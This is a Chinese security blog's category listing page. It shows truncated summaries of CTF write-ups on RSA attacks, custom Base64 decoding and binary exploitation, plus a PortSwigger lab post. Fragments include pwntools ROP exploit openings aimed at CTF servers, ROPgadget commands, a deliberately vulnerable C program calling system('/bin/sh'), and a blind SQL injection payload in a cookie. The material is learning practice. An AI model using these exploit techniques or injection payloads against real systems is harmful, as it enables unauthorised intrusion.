文章分类 -  安全

上一页 1 ··· 5 6 7 8 9 10 下一页
网络安全
摘要:题目: ç è¡¨ï¼š 'JKLMNOxyUVzABCDEFGH789PQIabcdefghijklmWXYZ0123456RSTnopqrstuvw+/=' chipertext: FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw 脚本: import stri 阅读全文
posted @ 2025-04-18 20:48 lethe311
摘要:Base64 编码的原理是将每 3 个字节(3 * 8 = 24 位)的二进制数据划分为 4 个 6 位的组,然后将每个 6 位组映射到 Base64 字符集中的一个字符。 import string zfj = string.ascii_uppercase + string.ascii_lower 阅读全文
posted @ 2025-04-18 19:08 lethe311
摘要:给了4个文件 读取密文的方式: 1、字节形式 2、字节转换成整形式 这里采用后者。 脚本 from Crypto.Util.number import * import gmpy2 from math import factorial from Crypto.PublicKey import RSA 阅读全文
posted @ 2025-04-18 14:16 lethe311
摘要:欧几里得算法(辗转相除法)基础 欧几里得算法用于计算两个整数 a 和 b 的最大公因数(Greatest Common Divisor,GCD)。其核心思想是:两个整数的最大公因数等于其中较小的数和两数相除余数的最大公因数。用数学公式表示为: gcd(a,b)=gcd(b,a mod b) 例如,计 阅读全文
posted @ 2025-04-18 12:49 lethe311
摘要:题目 {21058339337354287847534107544613605305015441090508924094198816691219103399526800112802416383088995253908857460266726925615826895303377801614829364 阅读全文
posted @ 2025-04-18 12:22 lethe311
摘要:题目 from Crypto.Util.number import getPrime,bytes_to_long flag=open("flag","rb").read() p=getPrime(1024) q=getPrime(1024) assert(e<100000) n=p*q m=byte 阅读全文
posted @ 2025-04-18 12:11 lethe311
摘要:一、引言 维纳攻击(Wiener's attack)是密码学领域中针对 RSA 加密算法的一种重要攻击手段。RSA 作为一种广泛应用的非对称加密算法,在数据安全传输、数字签名等方面发挥着关键作用。然而,当 RSA 私钥 d 满足一定条件时,维纳攻击能够利用其漏洞尝试恢复私钥,这对 RSA 算法的安全 阅读全文
posted @ 2025-04-17 17:02 lethe311
摘要:def gm(e1,e2,c1,c2,n): s = gmpy2.gcdext(e1,e2) print(s) t = s[1] z = s[2] if t<0: t = -t c1 = gmpy2.invert(c1,n) if z<0: z = -z c2 = gmpy2.invert(c2,n 阅读全文
posted @ 2025-04-17 15:14 lethe311
摘要:题目 from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long, inverse import math from gmpy2 import next_prime FLAG = b"crypto{??????????? 阅读全文
posted @ 2025-04-16 17:53 lethe311
摘要:题目 import sympy from gmpy2 import gcd, invert from random import randint from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, bytes 阅读全文
posted @ 2025-04-14 13:34 lethe311
摘要:64位动态elf from pwn import * s = remote("1.95.36.136", 2076) elf = ELF("./sleep") libc = ELF("./libc.so") puts = elf.plt['puts'] gots = elf.got['puts'] 阅读全文
posted @ 2025-04-06 17:50 lethe311
摘要:32位静态elf ROPgadget --binary 03ret2syscall_32 --only "pop|ret" | grep "eax" ROPgadget --binary 03ret2syscall_32 --only "pop|ret" | grep "ebx" ROPgadget 阅读全文
posted @ 2025-04-06 16:26 lethe311
摘要:32位动态elf 开启栈保护 x 是 GDB 里用于检查内存(examine memory)的命令,其完整的命令格式为 x /nfu addr,下面对每个参数进行说明: n(数量) 代表要显示的内存单元数量。在 x/16wx $exp 中,n 的值是 16,这表明要显示 16 个内存单元的内容。 f 阅读全文
posted @ 2025-04-06 15:24 lethe311
摘要:Game 32位动态elf NX保护,部分地址随机化 from pwn import * s = remote("1.95.36.136", 2083) elf = ELF('./Game') libc = ELF("./libc6-i386_2.23-0ubuntu11.3_amd64.so") 阅读全文
posted @ 2025-04-06 14:39 lethe311
摘要:32位,动态elf nx可执行保护,动态地址随机化 from pwn import * s = remote("1.95.36.136", 2091) payload = b'a'*112+p32(0x8048450)+p32(0x8048480)+p32(0x0804a040)+p32(0x080 阅读全文
posted @ 2025-04-06 12:52 lethe311
摘要:32,动态 部分地址随机化 from pwn import * s = remote("1.95.36.136", 2136) #s = process("./name4") context(arch="i386",os="linux",log_level="debug") elf = ELF(". 阅读全文
posted @ 2025-04-06 00:29 lethe311
摘要:64,动态 无保护 ida分析 发现play()使用read()和get()存在栈溢出 没有发现后门函数 通过read()构造shell,通过get()溢出到shell 计算offset=56 buf地址 exp from pwn import * s = remote("1.95.36.136", 阅读全文
posted @ 2025-04-05 23:49 lethe311
摘要:32位,动态链接 部分地址随机化和nx保护 ida分析 init()是初始化 dog()使用了get(),存在溢出 在字符串图中发现system和bin/sh 在function name发现getshell() 接下来计算偏移量 通过dgb调试 cyclic 100 b main r c aaaa 阅读全文
posted @ 2025-04-05 23:04 lethe311
摘要:#include <stdio.h> #include <unistd.h> #include <stdlib.h> void input(){ char s[10]; read(0,s,50); } void shell(){ system("/bin/sh"); } int main(){ in 阅读全文
posted @ 2025-04-05 19:13 lethe311
摘要:1、burp GET / HTTP/2 Host: 0a4c003904ce1c958044e4b200fd006e.web-security-academy.net Cookie: TrackingId=UTY7JHcWcR7jpzCz'%3BSELECT+CASE+WHEN+(username= 阅读全文
posted @ 2025-04-04 23:59 lethe311

上一页 1 ··· 5 6 7 8 9 10 下一页